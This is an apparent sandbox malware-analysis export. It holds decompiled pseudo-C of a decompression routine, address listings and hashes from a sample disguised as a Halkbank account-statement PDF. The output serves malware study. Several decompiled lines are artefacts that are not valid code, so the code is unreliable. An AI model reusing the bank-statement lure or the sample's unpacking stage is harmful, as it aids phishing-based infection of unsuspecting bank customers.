												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x0040711c
0x0040711c
0x00407120
0x0040712d
0x00407137
0x00000000
0x00407122
0x00407122
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00407056
0x00407059
0x004073cb
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407068
0x0040706c
0x0040708f
0x00407092
0x00407095
0x0040709f
0x0040706e
0x0040706e
0x00407071
0x00407074
0x00407077
0x00407084
0x00407087
0x00407087
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb
0x00000000
0x00407120

Memory Dump Source

Source File: 00000000.00000002.313010361.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.313005023.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313018431.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313027463.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.313185127.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Halkbank_Ekstre_20191102_073809_405251-PDF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
Instruction ID: aecab3f40db1f9fc07a3dc9ea3777efa7aa3d7dc23f88bc09ddd959c6243594a
Opcode Fuzzy Hash: c68610f165bc536a6a66ce61bc987e677a2aaa57ebbfa987bd426c3fc0f92c56
